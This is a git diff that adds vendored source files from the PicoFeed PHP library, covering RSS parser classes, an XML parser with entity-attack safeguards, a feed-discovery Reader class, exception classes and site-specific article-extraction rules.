+ *
+ * @access public
+ * @param SimpleXMLElement $xml Feed xml
+ * @param \PicoFeed\Parser\Feed $feed Feed object
+ */
+ public abstract function findFeedTitle(SimpleXMLElement $xml, Feed $feed);
+
+ /**
+ * Find the feed description
+ *
+ * @access public
+ * @param SimpleXMLElement $xml Feed xml
+ * @param \PicoFeed\Parser\Feed $feed Feed object
+ */
+ public abstract function findFeedDescription(SimpleXMLElement $xml, Feed $feed);
+
+ /**
+ * Find the feed language
+ *
+ * @access public
+ * @param SimpleXMLElement $xml Feed xml
+ * @param \PicoFeed\Parser\Feed $feed Feed object
+ */
+ public abstract function findFeedLanguage(SimpleXMLElement $xml, Feed $feed);
+
+ /**
+ * Find the feed id
+ *
+ * @access public
+ * @param SimpleXMLElement $xml Feed xml
+ * @param \PicoFeed\Parser\Feed $feed Feed object
+ */
+ public abstract function findFeedId(SimpleXMLElement $xml, Feed $feed);
+
+ /**
+ * Find the feed date
+ *
+ * @access public
+ * @param SimpleXMLElement $xml Feed xml
+ * @param \PicoFeed\Parser\Feed $feed Feed object
+ */
+ public abstract function findFeedDate(SimpleXMLElement $xml, Feed $feed);
+
+ /**
+ * Find the feed logo url
+ *
+ * @access public
+ * @param SimpleXMLElement $xml Feed xml
+ * @param \PicoFeed\Parser\Feed $feed Feed object
+ */
+ public abstract function findFeedLogo(SimpleXMLElement $xml, Feed $feed);
+
+ /**
+ * Get the path to the items XML tree
+ *
+ * @access public
+ * @param SimpleXMLElement $xml Feed xml
+ * @return SimpleXMLElement
+ */
+ public abstract function getItemsTree(SimpleXMLElement $xml);
+
+ /**
+ * Find the item author
+ *
+ * @access public
+ * @param SimpleXMLElement $xml Feed
+ * @param SimpleXMLElement $entry Feed item
+ * @param \PicoFeed\Parser\Item $item Item object
+ */
+ public abstract function findItemAuthor(SimpleXMLElement $xml, SimpleXMLElement $entry, Item $item);
+
+ /**
+ * Find the item URL
+ *
+ * @access public
+ * @param SimpleXMLElement $entry Feed item
+ * @param \PicoFeed\Parser\Item $item Item object
+ */
+ public abstract function findItemUrl(SimpleXMLElement $entry, Item $item);
+
+ /**
+ * Find the item title
+ *
+ * @access public
+ * @param SimpleXMLElement $entry Feed item
+ * @param \PicoFeed\Parser\Item $item Item object
+ */
+ public abstract function findItemTitle(SimpleXMLElement $entry, Item $item);
+
+ /**
+ * Genereate the item id
+ *
+ * @access public
+ * @param SimpleXMLElement $entry Feed item
+ * @param \PicoFeed\Parser\Item $item Item object
+ * @param \PicoFeed\Parser\Feed $feed Feed object
+ */
+ public abstract function findItemId(SimpleXMLElement $entry, Item $item, Feed $feed);
+
+ /**
+ * Find the item date
+ *
+ * @access public
+ * @param SimpleXMLElement $entry Feed item
+ * @param \PicoFeed\Parser\Item $item Item object
+ */
+ public abstract function findItemDate(SimpleXMLElement $entry, Item $item);
+
+ /**
+ * Find the item content
+ *
+ * @access public
+ * @param SimpleXMLElement $entry Feed item
+ * @param \PicoFeed\Parser\Item $item Item object
+ */
+ public abstract function findItemContent(SimpleXMLElement $entry, Item $item);
+
+ /**
+ * Find the item enclosure
+ *
+ * @access public
+ * @param SimpleXMLElement $entry Feed item
+ * @param \PicoFeed\Parser\Item $item Item object
+ * @param \PicoFeed\Parser\Feed $feed Feed object
+ */
+ public abstract function findItemEnclosure(SimpleXMLElement $entry, Item $item, Feed $feed);
+
+ /**
+ * Find the item language
+ *
+ * @access public
+ * @param SimpleXMLElement $entry Feed item
+ * @param \PicoFeed\Parser\Item $item Item object
+ * @param \PicoFeed\Parser\Feed $feed Feed object
+ */
+ public abstract function findItemLanguage(SimpleXMLElement $entry, Item $item, Feed $feed);
+}
diff --git a/vendor/fguillot/picofeed/lib/PicoFeed/Parser/ParserException.php b/vendor/fguillot/picofeed/lib/PicoFeed/Parser/ParserException.php
new file mode 100644
index 000000000..40e48abc0
--- /dev/null
+++ b/vendor/fguillot/picofeed/lib/PicoFeed/Parser/ParserException.php
@@ -0,0 +1,16 @@
+<?php
+
+namespace PicoFeed\Parser;
+
+use PicoFeed\PicoFeedException;
+
+
+/**
+ * ParserException Exception
+ *
+ * @author Frederic Guillot
+ * @package Parser
+ */
+abstract class ParserException extends PicoFeedException
+{
+} \ No newline at end of file
diff --git a/vendor/fguillot/picofeed/lib/PicoFeed/Parser/Rss10.php b/vendor/fguillot/picofeed/lib/PicoFeed/Parser/Rss10.php
new file mode 100644
index 000000000..2e763fb45
--- /dev/null
+++ b/vendor/fguillot/picofeed/lib/PicoFeed/Parser/Rss10.php
@@ -0,0 +1,77 @@
+<?php
+
+namespace PicoFeed\Parser;
+
+use SimpleXMLElement;
+
+/**
+ * RSS 1.0 parser
+ *
+ * @author Frederic Guillot
+ * @package Parser
+ */
+class Rss10 extends Rss20
+{
+ /**
+ * Get the path to the items XML tree
+ *
+ * @access public
+ * @param SimpleXMLElement $xml Feed xml
+ * @return SimpleXMLElement
+ */
+ public function getItemsTree(SimpleXMLElement $xml)
+ {
+ return $xml->item;
+ }
+
+ /**
+ * Find the feed date
+ *
+ * @access public
+ * @param SimpleXMLElement $xml Feed xml
+ * @param \PicoFeed\Parser\Feed $feed Feed object
+ */
+ public function findFeedDate(SimpleXMLElement $xml, Feed $feed)
+ {
+ $feed->date = $this->parseDate(XmlParser::getNamespaceValue($xml->channel, $this->namespaces, 'date'));
+ }
+
+ /**
+ * Find the feed language
+ *
+ * @access public
+ * @param SimpleXMLElement $xml Feed xml
+ * @param \PicoFeed\Parser\Feed $feed Feed object
+ */
+ public function findFeedLanguage(SimpleXMLElement $xml, Feed $feed)
+ {
+ $feed->language = XmlParser::getNamespaceValue($xml->channel, $this->namespaces, 'language');
+ }
+
+ /**
+ * Genereate the item id
+ *
+ * @access public
+ * @param SimpleXMLElement $entry Feed item
+ * @param \PicoFeed\Parser\Item $item Item object
+ * @param \PicoFeed\Parser\Feed $feed Feed object
+ */
+ public function findItemId(SimpleXMLElement $entry, Item $item, Feed $feed)
+ {
+ $item->id = $this->generateId(
+ $item->getTitle(), $item->getUrl(), $item->getContent()
+ );
+ }
+
+ /**
+ * Find the item enclosure
+ *
+ * @access public
+ * @param SimpleXMLElement $entry Feed item
+ * @param \PicoFeed\Parser\Item $item Item object
+ * @param \PicoFeed\Parser\Feed $feed Feed object
+ */
+ public function findItemEnclosure(SimpleXMLElement $entry, Item $item, Feed $feed)
+ {
+ }
+}
diff --git a/vendor/fguillot/picofeed/lib/PicoFeed/Parser/Rss20.php b/vendor/fguillot/picofeed/lib/PicoFeed/Parser/Rss20.php
new file mode 100644
index 000000000..231864bfc
--- /dev/null
+++ b/vendor/fguillot/picofeed/lib/PicoFeed/Parser/Rss20.php
@@ -0,0 +1,291 @@
+<?php
+
+namespace PicoFeed\Parser;
+
+use SimpleXMLElement;
+use PicoFeed\Logging\Logging;
+use PicoFeed\Filter\Filter;
+use PicoFeed\Client\Url;
+
+/**
+ * RSS 2.0 Parser
+ *
+ * @author Frederic Guillot
+ * @package Parser
+ */
+class Rss20 extends Parser
+{
+ /**
+ * Get the path to the items XML tree
+ *
+ * @access public
+ * @param SimpleXMLElement $xml Feed xml
+ * @return SimpleXMLElement
+ */
+ public function getItemsTree(SimpleXMLElement $xml)
+ {
+ return $xml->channel->item;
+ }
+
+ /**
+ * Find the feed url
+ *
+ * @access public
+ * @param SimpleXMLElement $xml Feed xml
+ * @param \PicoFeed\Parser\Feed $feed Feed object
+ */
+ public function findFeedUrl(SimpleXMLElement $xml, Feed $feed)
+ {
+ if ($xml->channel->link && $xml->channel->link->count() > 1) {
+
+ foreach ($xml->channel->link as $xml_link) {
+
+ $link = (string) $xml_link;
+
+ if ($link !== '') {
+ $feed->url = $link;
+ break;
+ }
+ }
+ }
+ else {
+
+ $feed->url = (string) $xml->channel->link;
+ }
+ }
+
+ /**
+ * Find the feed description
+ *
+ * @access public
+ * @param SimpleXMLElement $xml Feed xml
+ * @param \PicoFeed\Parser\Feed $feed Feed object
+ */
+ public function findFeedDescription(SimpleXMLElement $xml, Feed $feed)
+ {
+ $feed->description = (string) $xml->channel->description;
+ }
+
+ /**
+ * Find the feed logo url
+ *
+ * @access public
+ * @param SimpleXMLElement $xml Feed xml
+ * @param \PicoFeed\Parser\Feed $feed Feed object
+ */
+ public function findFeedLogo(SimpleXMLElement $xml, Feed $feed)
+ {
+ if (isset($xml->channel->image->url)) {
+ $feed->logo = (string) $xml->channel->image->url;
+ }
+ }
+
+ /**
+ * Find the feed title
+ *
+ * @access public
+ * @param SimpleXMLElement $xml Feed xml
+ * @param \PicoFeed\Parser\Feed $feed Feed object
+ */
+ public function findFeedTitle(SimpleXMLElement $xml, Feed $feed)
+ {
+ $feed->title = Filter::stripWhiteSpace((string) $xml->channel->title) ?: $feed->url;
+ }
+
+ /**
+ * Find the feed language
+ *
+ * @access public
+ * @param SimpleXMLElement $xml Feed xml
+ * @param \PicoFeed\Parser\Feed $feed Feed object
+ */
+ public function findFeedLanguage(SimpleXMLElement $xml, Feed $feed)
+ {
+ $feed->language = isset($xml->channel->language) ? (string) $xml->channel->language : '';
+ }
+
+ /**
+ * Find the feed id
+ *
+ * @access public
+ * @param SimpleXMLElement $xml Feed xml
+ * @param \PicoFeed\Parser\Feed $feed Feed object
+ */
+ public function findFeedId(SimpleXMLElement $xml, Feed $feed)
+ {
+ $feed->id = $feed->url;
+ }
+
+ /**
+ * Find the feed date
+ *
+ * @access public
+ * @param SimpleXMLElement $xml Feed xml
+ * @param \PicoFeed\Parser\Feed $feed Feed object
+ */
+ public function findFeedDate(SimpleXMLElement $xml, Feed $feed)
+ {
+ $date = isset($xml->channel->pubDate) ? $xml->channel->pubDate : $xml->channel->lastBuildDate;
+ $feed->date = $this->parseDate((string) $date);
+ }
+
+ /**
+ * Find the item date
+ *
+ * @access public
+ * @param SimpleXMLElement $entry Feed item
+ * @param \PicoFeed\Parser\Item $item Item object
+ */
+ public function findItemDate(SimpleXMLElement $entry, Item $item)
+ {
+ $date = XmlParser::getNamespaceValue($entry, $this->namespaces, 'date');
+
+ if (empty($date)) {
+ $date = XmlParser::getNamespaceValue($entry, $this->namespaces, 'updated');
+ }
+
+ if (empty($date)) {
+ $date = (string) $entry->pubDate;
+ }
+
+ $item->date = $this->parseDate($date);
+ }
+
+ /**
+ * Find the item title
+ *
+ * @access public
+ * @param SimpleXMLElement $entry Feed item
+ * @param \PicoFeed\Parser\Item $item Item object
+ */
+ public function findItemTitle(SimpleXMLElement $entry, Item $item)
+ {
+ $item->title = Filter::stripWhiteSpace((string) $entry->title);
+
+ if (empty($item->title)) {
+ $item->title = $item->url;
+ }
+ }
+
+ /**
+ * Find the item author
+ *
+ * @access public
+ * @param SimpleXMLElement $xml Feed
+ * @param SimpleXMLElement $entry Feed item
+ * @param \PicoFeed\Parser\Item $item Item object
+ */
+ public function findItemAuthor(SimpleXMLElement $xml, SimpleXMLElement $entry, Item $item)
+ {
+ $item->author = XmlParser::getNamespaceValue($entry, $this->namespaces, 'creator');
+
+ if (empty($item->author)) {
+ if (isset($entry->author)) {
+ $item->author = (string) $entry->author;
+ }
+ else if (isset($xml->channel->webMaster)) {
+ $item->author = (string) $xml->channel->webMaster;
+ }
+ }
+ }
+
+ /**
+ * Find the item content
+ *
+ * @access public
+ * @param SimpleXMLElement $entry Feed item
+ * @param \PicoFeed\Parser\Item $item Item object
+ */
+ public function findItemContent(SimpleXMLElement $entry, Item $item)
+ {
+ $content = XmlParser::getNamespaceValue($entry, $this->namespaces, 'encoded');
+
+ if (empty($content) && $entry->description->count() > 0) {
+ $content = (string) $entry->description;
+ }
+
+ $item->content = $content;
+ }
+
+ /**
+ * Find the item URL
+ *
+ * @access public
+ * @param SimpleXMLElement $entry Feed item
+ * @param \PicoFeed\Parser\Item $item Item object
+ */
+ public function findItemUrl(SimpleXMLElement $entry, Item $item)
+ {
+ $links = array(
+ XmlParser::getNamespaceValue($entry, $this->namespaces, 'origLink'),
+ isset($entry->link) ? (string) $entry->link : '',
+ XmlParser::getNamespaceValue($entry, $this->namespaces, 'link', 'href'),
+ isset($entry->guid) ? (string) $entry->guid : '',
+ );
+
+ foreach ($links as $link) {
+ if (! empty($link) && filter_var($link, FILTER_VALIDATE_URL) !== false) {
+ $item->url = $link;
+ break;
+ }
+ }
+ }
+
+ /**
+ * Genereate the item id
+ *
+ * @access public
+ * @param SimpleXMLElement $entry Feed item
+ * @param \PicoFeed\Parser\Item $item Item object
+ * @param \PicoFeed\Parser\Feed $feed Feed object
+ */
+ public function findItemId(SimpleXMLElement $entry, Item $item, Feed $feed)
+ {
+ $id = (string) $entry->guid;
+
+ if ($id) {
+ $item->id = $this->generateId($id);
+ }
+ else {
+ $item->id = $this->generateId(
+ $item->getTitle(), $item->getUrl(), $item->getContent()
+ );
+ }
+ }
+
+ /**
+ * Find the item enclosure
+ *
+ * @access public
+ * @param SimpleXMLElement $entry Feed item
+ * @param \PicoFeed\Parser\Item $item Item object
+ * @param \PicoFeed\Parser\Feed $feed Feed object
+ */
+ public function findItemEnclosure(SimpleXMLElement $entry, Item $item, Feed $feed)
+ {
+ if (isset($entry->enclosure)) {
+
+ $item->enclosure_url = XmlParser::getNamespaceValue($entry->enclosure, $this->namespaces, 'origEnclosureLink');
+
+ if (empty($item->enclosure_url)) {
+ $item->enclosure_url = isset($entry->enclosure['url']) ? (string) $entry->enclosure['url'] : '';
+ }
+
+ $item->enclosure_type = isset($entry->enclosure['type']) ? (string) $entry->enclosure['type'] : '';
+ $item->enclosure_url = Url::resolve($item->enclosure_url, $feed->url);
+ }
+ }
+
+ /**
+ * Find the item language
+ *
+ * @access public
+ * @param SimpleXMLElement $entry Feed item
+ * @param \PicoFeed\Parser\Item $item Item object
+ * @param \PicoFeed\Parser\Feed $feed Feed object
+ */
+ public function findItemLanguage(SimpleXMLElement $entry, Item $item, Feed $feed)
+ {
+ $item->language = $feed->language;
+ }
+}
diff --git a/vendor/fguillot/picofeed/lib/PicoFeed/Parser/Rss91.php b/vendor/fguillot/picofeed/lib/PicoFeed/Parser/Rss91.php
new file mode 100644
index 000000000..69f175313
--- /dev/null
+++ b/vendor/fguillot/picofeed/lib/PicoFeed/Parser/Rss91.php
@@ -0,0 +1,13 @@
+<?php
+
+namespace PicoFeed\Parser;
+
+/**
+ * RSS 0.91 Parser
+ *
+ * @author Frederic Guillot
+ * @package Parser
+ */
+class Rss91 extends Rss20
+{
+}
diff --git a/vendor/fguillot/picofeed/lib/PicoFeed/Parser/Rss92.php b/vendor/fguillot/picofeed/lib/PicoFeed/Parser/Rss92.php
new file mode 100644
index 000000000..e80847374
--- /dev/null
+++ b/vendor/fguillot/picofeed/lib/PicoFeed/Parser/Rss92.php
@@ -0,0 +1,13 @@
+<?php
+
+namespace PicoFeed\Parser;
+
+/**
+ * RSS 0.92 Parser
+ *
+ * @author Frederic Guillot
+ * @package Parser
+ */
+class Rss92 extends Rss20
+{
+}
diff --git a/vendor/fguillot/picofeed/lib/PicoFeed/Parser/XmlParser.php b/vendor/fguillot/picofeed/lib/PicoFeed/Parser/XmlParser.php
new file mode 100644
index 000000000..580b66574
--- /dev/null
+++ b/vendor/fguillot/picofeed/lib/PicoFeed/Parser/XmlParser.php
@@ -0,0 +1,232 @@
+<?php
+
+namespace PicoFeed\Parser;
+
+use DomDocument;
+use DOMXPath;
+use SimpleXmlElement;
+
+/**
+ * XML parser class
+ *
+ * Checks for XML eXternal Entity (XXE) and XML Entity Expansion (XEE) attacks on XML documents
+ *
+ * @author Frederic Guillot
+ * @package Parser
+ */
+class XmlParser
+{
+ /**
+ * Get a SimpleXmlElement instance or return false
+ *
+ * @static
+ * @access public
+ * @param string $input XML content
+ * @return mixed
+ */
+ public static function getSimpleXml($input)
+ {
+ $dom = self::getDomDocument($input);
+
+ if ($dom !== false) {
+
+ $simplexml = simplexml_import_dom($dom);
+
+ if (! $simplexml instanceof SimpleXmlElement) {
+ return false;
+ }
+
+ return $simplexml;
+ }
+
+ return false;
+ }
+
+ /**
+ * Get a DomDocument instance or return false
+ *
+ * @static
+ * @access public
+ * @param string $input XML content
+ * @return mixed
+ */
+ public static function getDomDocument($input)
+ {
+ if (substr(php_sapi_name(), 0, 3) === 'fpm') {
+
+ // If running with PHP-FPM and an entity is detected we refuse to parse the feed
+ // @see https://bugs.php.net/bug.php?id=64938
+ if (strpos($input, '<!ENTITY') !== false) {
+ return false;
+ }
+ }
+ else {
+
+ libxml_disable_entity_loader(true);
+ }
+
+ libxml_use_internal_errors(true);
+
+ $dom = new DomDocument;
+ $dom->loadXml($input, LIBXML_NONET);
+
+ // The document is empty, there is probably some parsing errors
+ if ($dom->childNodes->length === 0) {
+ return false;
+ }
+
+ // Scan for potential XEE attacks using ENTITY
+ foreach ($dom->childNodes as $child) {
+ if ($child->nodeType === XML_DOCUMENT_TYPE_NODE) {
+ if ($child->entities->length > 0) {
+ return false;
+ }
+ }
+ }
+
+ return $dom;
+ }
+
+ /**
+ * Load HTML document by using a DomDocument instance or return false on failure
+ *
+ * @static
+ * @access public
+ * @param string $input XML content
+ * @return mixed
+ */
+ public static function getHtmlDocument($input)
+ {
+ libxml_use_internal_errors(true);
+
+ $dom = new DomDocument;
+
+ if (version_compare(PHP_VERSION, '5.4.0', '>=')) {
+ $dom->loadHTML($input, LIBXML_NONET);
+ }
+ else {
+ $dom->loadHTML($input);
+ }
+
+ return $dom;
+ }
+
+ /**
+ * Convert a HTML document to XML
+ *
+ * @static
+ * @access public
+ * @param string $html HTML document
+ * @return string
+ */
+ public static function HtmlToXml($html)
+ {
+ $dom = self::getHtmlDocument('<?xml version="1.0" encoding="UTF-8">'.$html);
+ return $dom->saveXML($dom->getElementsByTagName('body')->item(0));
+ }
+
+ /**
+ * Get XML parser errors
+ *
+ * @static
+ * @access public
+ * @return string
+ */
+ public static function getErrors()
+ {
+ $errors = array();
+
+ foreach(libxml_get_errors() as $error) {
+
+ $errors[] = sprintf('XML error: %s (Line: %d - Column: %d - Code: %d)',
+ $error->message,
+ $error->line,
+ $error->column,
+ $error->code
+ );
+ }
+
+ return implode(', ', $errors);
+ }
+
+ /**
+ * Get the encoding from a xml tag
+ *
+ * @static
+ * @access public
+ * @param string $data Input data
+ * @return string
+ */
+ public static function getEncodingFromXmlTag($data)
+ {
+ $encoding = '';
+
+ if (strpos($data, '<?xml') !== false) {
+
+ $data = substr($data, 0, strrpos($data, '?>'));
+ $data = str_replace("'", '"', $data);
+
+ $p1 = strpos($data, 'encoding=');
+ $p2 = strpos($data, '"', $p1 + 10);
+
+ $encoding = substr($data, $p1 + 10, $p2 - $p1 - 10);
+ $encoding = strtolower($encoding);
+ }
+
+ return $encoding;
+ }
+
+ /**
+ * Get xml:lang value
+ *
+ * @static
+ * @access public
+ * @param string $xml XML string
+ * @return string Language
+ */
+ public static function getXmlLang($xml)
+ {
+ $dom = self::getDomDocument($xml);
+
+ if ($dom === false) {
+ return '';
+ }
+
+ $xpath = new DOMXPath($dom);
+ return $xpath->evaluate('string(//@xml:lang[1])') ?: '';
+ }
+
+ /**
+ * Get a value from a XML namespace
+ *
+ * @static
+ * @access public
+ * @param SimpleXMLElement $xml XML element
+ * @param array $namespaces XML namespaces
+ * @param string $property XML tag name
+ * @param string $attribute XML attribute name
+ * @return string
+ */
+ public static function getNamespaceValue(SimpleXMLElement $xml, array $namespaces, $property, $attribute = '')
+ {
+ foreach ($namespaces as $name => $url) {
+ $namespace = $xml->children($namespaces[$name]);
+
+ if ($namespace->$property->count() > 0) {
+
+ if ($attribute) {
+
+ foreach ($namespace->$property->attributes() as $xml_attribute => $xml_value) {
+ if ($xml_attribute === $attribute && $xml_value) {
+ return (string) $xml_value;
+ }
+ }
+ }
+
+ return (string) $namespace->$property;
+ }
+ }
+
+ return '';
+ }
+}
diff --git a/vendor/fguillot/picofeed/lib/PicoFeed/PicoFeedException.php b/vendor/fguillot/picofeed/lib/PicoFeed/PicoFeedException.php
new file mode 100644
index 000000000..11f898648
--- /dev/null
+++ b/vendor/fguillot/picofeed/lib/PicoFeed/PicoFeedException.php
@@ -0,0 +1,15 @@
+<?php
+
+namespace PicoFeed;
+
+use Exception;
+
+/**
+ * PicoFeedException Exception
+ *
+ * @author Frederic Guillot
+ * @package exception
+ */
+abstract class PicoFeedException extends Exception
+{
+}
diff --git a/vendor/fguillot/picofeed/lib/PicoFeed/Reader/Reader.php b/vendor/fguillot/picofeed/lib/PicoFeed/Reader/Reader.php
new file mode 100644
index 000000000..ef6df4c32
--- /dev/null
+++ b/vendor/fguillot/picofeed/lib/PicoFeed/Reader/Reader.php
@@ -0,0 +1,232 @@
+<?php
+
+namespace PicoFeed\Reader;
+
+use DOMXPath;
+
+use PicoFeed\Config\Config;
+use PicoFeed\Client\Client;
+use PicoFeed\Client\Url;
+use PicoFeed\Logging\Logging;
+use PicoFeed\Filter\Filter;
+use PicoFeed\Parser\XmlParser;
+
+/**
+ * Reader class
+ *
+ * @author Frederic Guillot
+ * @package Reader
+ */
+class Reader
+{
+ /**
+ * Feed formats for detection
+ *
+ * @access private
+ * @var array
+ */
+ private $formats = array(
+ 'Atom' => array('<feed'),
+ 'Rss20' => array('<rss', '2.0'),
+ 'Rss92' => array('<rss', '0.92'),
+ 'Rss91' => array('<rss', '0.91'),
+ 'Rss10' => array('<rdf:'),
+ );
+
+ /**
+ * Config class instance
+ *
+ * @access private
+ * @var \PicoFeed\Config\Config
+ */
+ private $config;
+
+ /**
+ * Constructor
+ *
+ * @access public
+ * @param \PicoFeed\Config $config Config class instance
+ */
+ public function __construct(Config $config = null)
+ {
+ $this->config = $config ?: new Config;
+ Logging::setTimezone($this->config->getTimezone());
+ }
+
+ /**
+ * Download a feed (no discovery)
+ *
+ * @access public
+ * @param string $url Feed url
+ * @param string $last_modified Last modified HTTP header
+ * @param string $etag Etag HTTP header
+ * @return \PicoFeed\Client\Client
+ */
+ public function download($url, $last_modified = '', $etag = '')
+ {
+ $url = $this->prependScheme($url);
+
+ return Client::getInstance()
+ ->setConfig($this->config)
+ ->setLastModified($last_modified)
+ ->setEtag($etag)
+ ->execute($url);
+ }
+
+ /**
+ * Discover and download a feed
+ *
+ * @access public
+ * @param string $url Feed or website url
+ * @param string $last_modified Last modified HTTP header
+ * @param string $etag Etag HTTP header
+ * @return \PicoFeed\Client\Client
+ */
+ public function discover($url, $last_modified = '', $etag = '')
+ {
+ $client = $this->download($url, $last_modified, $etag);
+
+ // It's already a feed
+ if ($this->detectFormat($client->getContent())) {
+ return $client;
+ }
+
+ // Try to find a subscription
+ $links = $this->find($client->getUrl(), $client->getContent());
+
+ if (empty($links)) {
+ throw new SubscriptionNotFoundException('Unable to find a subscription');
+ }
+
+ return $this->download($links[0], $last_modified, $etag);
+ }
+
+ /**
+ * Find feed urls inside a HTML document
+ *
+ * @access public
+ * @param string $url Website url
+ * @param string $html HTML content
+ * @return array List of feed links
+ */
+ public function find($url, $html)
+ {
+ Logging::setMessage(get_called_class().': Try to discover subscriptions');
+
+ $dom = XmlParser::getHtmlDocument($html);
+ $xpath = new DOMXPath($dom);
+ $links = array();
+
+ $queries = array(
+ '//link[@type="application/rss+xml"]',
+ '//link[@type="application/atom+xml"]',
+ );
+
+ foreach ($queries as $query) {
+
+ $nodes = $xpath->query($query);
+
+ foreach ($nodes as $node) {
+
+ $link = $node->getAttribute('href');
+
+ if (! empty($link)) {
+
+ $feedUrl = new Url($link);
+ $siteUrl = new Url($url);
+
+ $links[] = $feedUrl->getAbsoluteUrl($feedUrl->isRelativeUrl() ? $siteUrl->getBaseUrl() : '');
+ }
+ }
+ }
+
+ Logging::setMessage(get_called_class().': '.implode(', ', $links));
+
+ return $links;
+ }
+
+ /**
+ * Get a parser instance
+ *
+ * @access public
+ * @param string $url Site url
+ * @param string $content Feed content
+ * @param string $encoding HTTP encoding
+ * @return \PicoFeed\Parser\Parser
+ */
+ public function getParser($url, $content, $encoding)
+ {
+ $format = $this->detectFormat($content);
+
+ if (empty($format)) {
+ throw new UnsupportedFeedFormatException('Unable to detect feed format');
+ }
+
+ $className = '\PicoFeed\Parser\\'.$format;
+
+ $parser = new $className($content, $encoding, $url);
+ $parser->setHashAlgo($this->config->getParserHashAlgo());
+ $parser->setTimezone($this->config->getTimezone());
+ $parser->setConfig($this->config);
+
+ return $parser;
+ }
+
+ /**
+ * Detect the feed format
+ *
+ * @access public
+ * @param string $content Feed content
+ * @return string
+ */
+ public function detectFormat($content)
+ {
+ $first_tag = Filter::getFirstTag($content);
+
+ Logging::setMessage(get_called_class().': DetectFormat(): '.$first_tag);
+
+ foreach ($this->formats as $parser => $needles) {
+
+ if ($this->contains($first_tag, $needles)) {
+ return $parser;
+ }
+ }
+
+ return '';
+ }
+
+ /**
+ * Return true if all needles are found in the haystack
+ *
+ * @access private
+ * @param string $haystack Haystack
+ * @param string $needles Needles to find
+ * @return boolean
+ */
+ private function contains($haystack, array $needles)
+ {
+ $results = array();
+
+ foreach ($needles as $needle) {
+ $results[] = strpos($haystack, $needle) !== false;
+ }
+
+ return ! in_array(false, $results, true);
+ }
+
+ /**
+ * Add the prefix "http://" if the end-user just enter a domain name
+ *
+ * @access public
+ * @param string $url Url
+ * @retunr string
+ */
+ public function prependScheme($url)
+ {
+ if (! preg_match('%^https?://%', $url)) {
+ $url = 'http://' . $url;
+ }
+
+ return $url;
+ }
+}
diff --git a/vendor/fguillot/picofeed/lib/PicoFeed/Reader/ReaderException.php b/vendor/fguillot/picofeed/lib/PicoFeed/Reader/ReaderException.php
new file mode 100644
index 000000000..a8e973f8a
--- /dev/null
+++ b/vendor/fguillot/picofeed/lib/PicoFeed/Reader/ReaderException.php
@@ -0,0 +1,16 @@
+<?php
+
+namespace PicoFeed\Reader;
+
+use PicoFeed\PicoFeedException;
+
+
+/**
+ * ReaderException Exception
+ *
+ * @author Frederic Guillot
+ * @package Reader
+ */
+abstract class ReaderException extends PicoFeedException
+{
+}
diff --git a/vendor/fguillot/picofeed/lib/PicoFeed/Reader/SubscriptionNotFoundException.php b/vendor/fguillot/picofeed/lib/PicoFeed/Reader/SubscriptionNotFoundException.php
new file mode 100644
index 000000000..1121fdf0e
--- /dev/null
+++ b/vendor/fguillot/picofeed/lib/PicoFeed/Reader/SubscriptionNotFoundException.php
@@ -0,0 +1,13 @@
+<?php
+
+namespace PicoFeed\Reader;
+
+/**
+ * SubscriptionNotFoundException Exception
+ *
+ * @author Frederic Guillot
+ * @package Reader
+ */
+class SubscriptionNotFoundException extends ReaderException
+{
+}
diff --git a/vendor/fguillot/picofeed/lib/PicoFeed/Reader/UnsupportedFeedFormatException.php b/vendor/fguillot/picofeed/lib/PicoFeed/Reader/UnsupportedFeedFormatException.php
new file mode 100644
index 000000000..7d4df080e
--- /dev/null
+++ b/vendor/fguillot/picofeed/lib/PicoFeed/Reader/UnsupportedFeedFormatException.php
@@ -0,0 +1,13 @@
+<?php
+
+namespace PicoFeed\Reader;
+
+/**
+ * UnsupportedFeedFormatException Exception
+ *
+ * @author Frederic Guillot
+ * @package Reader
+ */
+class UnsupportedFeedFormatException extends ReaderException
+{
+} \ No newline at end of file
diff --git a/vendor/fguillot/picofeed/lib/PicoFeed/Rules/.blog.lemonde.fr.php b/vendor/fguillot/picofeed/lib/PicoFeed/Rules/.blog.lemonde.fr.php
new file mode 100644
index 000000000..226169bf9
--- /dev/null
+++ b/vendor/fguillot/picofeed/lib/PicoFeed/Rules/.blog.lemonde.fr.php
@@ -0,0 +1,10 @@
+<?php
+return array(
+ 'test_url' => 'http://combat.blog.lemonde.fr/2013/08/31/teddy-riner-le-rookie-devenu-rambo/#xtor=RSS-3208',
+ 'body' => array(
+ '//div[@class="entry-content"]',
+ ),
+ 'strip' => array(
+ '//*[contains(@class, "fb-like") or contains(@class, "social")]'
+ ),
+); \ No newline at end of file
diff --git a/vendor/fguillot/picofeed/lib/PicoFeed/Rules/.blogs.nytimes.com.php b/vendor/fguillot/picofeed/lib/PicoFeed/Rules/.blogs.nytimes.com.php
new file mode 100644
index 000000000..aa17033e3
--- /dev/null
+++ b/vendor/fguillot/picofeed/lib/PicoFeed/Rules/.blogs.nytimes.com.php
@@ -0,0 +1,11 @@
+<?php
+return array(
+ 'title' => '//header/h1',
+ 'test_url' => 'http://bits.blogs.nytimes.com/2012/01/16/wikipedia-plans-to-go-dark-on-wednesday-to-protest-sopa/',
+ 'body' => array(
+ '//div[@class="postContent"]',
+ ),
+ 'strip' => array(
+ '//*[@class="shareToolsBox"]',
+ ),
+);
diff --git a/vendor/fguillot/picofeed/lib/PicoFeed/Rules/.igen.fr.php b/vendor/fguillot/picofeed/lib/PicoFeed/Rules/.igen.fr.php
new file mode 100644
index 000000000..0e0436eda
--- /dev/null
+++ b/vendor/fguillot/picofeed/lib/PicoFeed/Rules/.igen.fr.php
@@ -0,0 +1,9 @@
+<?php
+return array(
+ 'test_url' => 'http://www.igen.fr/ailleurs/2014/05/nvidia-va-delaisser-les-smartphones-grand-public-86031',
+ 'body' => array(
+ '//div[contains(@class, "field-name-body")]'
+ ),
+ 'strip' => array(
+ ),
+); \ No newline at end of file
diff --git a/vendor/fguillot/picofeed/lib/PicoFeed/Rules/.nytimes.com.php b/vendor/fguillot/picofeed/lib/PicoFeed/Rules/.nytimes.com.php
new file mode 100644
index 000000000..31f4d7862
--- /dev/null
+++ b/vendor/fguillot/picofeed/lib/PicoFeed/Rules/.nytimes.com.php
@@ -0,0 +1,8 @@
+<?php
+return array(
+ 'test_url' => 'http://www.nytimes.com/2011/05/15/world/middleeast/15prince.html',
+ 'title' => '//h1[@class="articleHeadline"]',
+ 'body' => array(
+ '//div[@class="articleBody"]',
+ ),
+);
